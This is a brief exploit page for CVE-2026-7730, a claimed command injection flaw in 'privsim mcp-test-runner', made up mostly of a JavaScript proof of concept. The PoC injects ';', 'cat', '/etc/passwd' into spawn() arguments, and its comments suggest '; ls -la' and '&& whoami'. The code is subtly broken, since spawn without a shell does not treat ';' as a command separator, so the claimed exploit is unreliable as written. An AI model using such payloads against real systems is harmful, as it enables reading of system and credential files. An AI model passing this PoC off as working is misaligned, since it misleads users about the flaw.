CVE-2026-7730 privsim mcp-test-runner 命令注入漏洞

// PoC for CVE-2026-7730 // This demonstrates the command injection via argument manipulation const { spawn } = require('child_process'); // Vulnerable function simulation function vulnerableRun(command, args) { // In the vulnerable version, args are not sanitized return spawn(command, args); } // Exploit payload // Injecting a command to list files (e.g., '; ls -la' or '&& whoami') const maliciousInput = ['arg1', 'arg2', ';', 'cat', '/etc/passwd']; console.log("Attempting to exploit CVE-2026-7730..."); const proc = vulnerableRun('some_command', maliciousInput); proc.stdout.on('data', (data) => { console.log(`Output: ${data}`); }); proc.stderr.on('data', (data) => { console.error(`Error: ${data}`); });